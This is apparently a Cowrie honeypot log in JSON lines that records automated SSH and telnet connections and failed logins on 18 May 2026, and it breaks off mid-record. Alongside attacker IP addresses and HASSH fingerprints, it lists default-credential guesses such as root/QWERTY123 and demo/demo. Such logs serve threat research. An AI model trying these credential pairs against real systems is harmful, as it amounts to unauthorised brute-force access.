{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55092,"dst_ip":"10.17.0.5","dst_port":23,"session":"077380707b3d","protocol":"telnet","message":"New connection: 152.42.224.71:55092 (10.17.0.5:23) [session: 077380707b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:42.608909Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:42.989661Z","src_ip":"31.40.204.166","session":"c4beefbd22cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:44.115154Z","src_ip":"31.40.204.166","session":"c4beefbd22cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.020822048187256,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:44.434352Z","src_ip":"152.42.224.71","session":"67a36f59470e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55096,"dst_ip":"10.17.0.5","dst_port":23,"session":"5929ca1157b8","protocol":"telnet","message":"New connection: 152.42.224.71:55096 (10.17.0.5:23) [session: 5929ca1157b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:45.772103Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42652,"dst_ip":"159.203.135.109","dst_port":22,"session":"df86a0a34cab","protocol":"ssh","message":"New connection: 147.45.211.215:42652 (159.203.135.109:22) [session: df86a0a34cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:48.906679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:48.911060Z","src_ip":"147.45.211.215","session":"df86a0a34cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:49.085957Z","src_ip":"147.45.211.215","session":"df86a0a34cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"b123456","message":"login attempt [root/b123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:49.612048Z","src_ip":"147.45.211.215","session":"df86a0a34cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:50.789072Z","src_ip":"147.45.211.215","session":"df86a0a34cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41362,"dst_ip":"159.203.135.109","dst_port":22,"session":"3138eb4cf90a","protocol":"ssh","message":"New connection: 31.40.204.166:41362 (159.203.135.109:22) [session: 3138eb4cf90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:53.092689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:53.101292Z","src_ip":"31.40.204.166","session":"3138eb4cf90a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:53.224796Z","src_ip":"31.40.204.166","session":"3138eb4cf90a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:53.897001Z","src_ip":"31.40.204.166","session":"3138eb4cf90a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:55.203531Z","src_ip":"31.40.204.166","session":"3138eb4cf90a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":114.70296955108643,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:57.321223Z","src_ip":"152.42.224.71","session":"4cd87edb309c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.30059885978699,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:54:59.198256Z","src_ip":"152.42.224.71","session":"8f209fcbb1d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.34380006790161,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:02.139622Z","src_ip":"152.42.224.71","session":"f1225fc2cbfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":81.01208686828613,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:02.412953Z","src_ip":"152.42.224.71","session":"daefb831f778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48608,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f95d61a1655","protocol":"telnet","message":"New connection: 152.42.224.71:48608 (10.17.0.5:23) [session: 1f95d61a1655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:04.249333Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54456,"dst_ip":"159.203.135.109","dst_port":22,"session":"01ec1b81374d","protocol":"ssh","message":"New connection: 31.40.204.166:54456 (159.203.135.109:22) [session: 01ec1b81374d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:04.482901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:04.491112Z","src_ip":"31.40.204.166","session":"01ec1b81374d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:04.616837Z","src_ip":"31.40.204.166","session":"01ec1b81374d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:05.398185Z","src_ip":"31.40.204.166","session":"01ec1b81374d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:06.588039Z","src_ip":"31.40.204.166","session":"01ec1b81374d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49358,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77f2292bc2e","protocol":"telnet","message":"New connection: 152.42.224.71:49358 (10.17.0.5:23) [session: e77f2292bc2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:06.811220Z"}
{"eventid":"cowrie.session.closed","duration":38.4224967956543,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:13.328234Z","src_ip":"152.42.224.71","session":"00afa92f387e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58768,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b7d22ce1931","protocol":"ssh","message":"New connection: 31.40.204.166:58768 (159.203.135.109:22) [session: 2b7d22ce1931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:15.590174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:15.611305Z","src_ip":"31.40.204.166","session":"2b7d22ce1931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:15.782708Z","src_ip":"31.40.204.166","session":"2b7d22ce1931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":36486,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba8c917da3d3","protocol":"ssh","message":"New connection: 45.148.10.121:36486 (10.17.0.5:22) [session: ba8c917da3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:16.268922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:16.273956Z","src_ip":"45.148.10.121","session":"ba8c917da3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:16.311170Z","src_ip":"31.40.204.166","session":"2b7d22ce1931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:16.360803Z","src_ip":"45.148.10.121","session":"ba8c917da3d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:17.497564Z","src_ip":"31.40.204.166","session":"2b7d22ce1931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.69405150413513,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:21.272630Z","src_ip":"152.42.224.71","session":"eb0664482816","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00194358825684,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:22.010767Z","src_ip":"152.42.224.71","session":"c5445821e560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46230,"dst_ip":"10.17.0.5","dst_port":23,"session":"c93f649ed676","protocol":"telnet","message":"New connection: 152.42.224.71:46230 (10.17.0.5:23) [session: c93f649ed676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:24.543290Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46240,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7bcf4838df4","protocol":"telnet","message":"New connection: 152.42.224.71:46240 (10.17.0.5:23) [session: f7bcf4838df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:25.273165Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58434,"dst_ip":"159.203.135.109","dst_port":22,"session":"d61b650ff7cb","protocol":"ssh","message":"New connection: 31.40.204.166:58434 (159.203.135.109:22) [session: d61b650ff7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:26.210034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:26.220344Z","src_ip":"31.40.204.166","session":"d61b650ff7cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:26.408212Z","src_ip":"31.40.204.166","session":"d61b650ff7cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:27.235092Z","src_ip":"31.40.204.166","session":"d61b650ff7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45574,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9353f89f01c","protocol":"telnet","message":"New connection: 152.42.224.71:45574 (10.17.0.5:23) [session: a9353f89f01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:28.372586Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:28.400784Z","src_ip":"31.40.204.166","session":"d61b650ff7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49900,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c23a8460af7","protocol":"ssh","message":"New connection: 103.27.238.116:49900 (10.17.0.5:22) [session: 3c23a8460af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:29.161935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:29.166770Z","src_ip":"103.27.238.116","session":"3c23a8460af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59110,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7ad215682e3","protocol":"ssh","message":"New connection: 193.228.128.84:59110 (10.17.0.5:22) [session: a7ad215682e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:29.504617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:29.509267Z","src_ip":"193.228.128.84","session":"a7ad215682e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:29.613010Z","src_ip":"193.228.128.84","session":"a7ad215682e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"171717","message":"login attempt [root/171717] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:55:29.920655Z","src_ip":"193.228.128.84","session":"a7ad215682e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh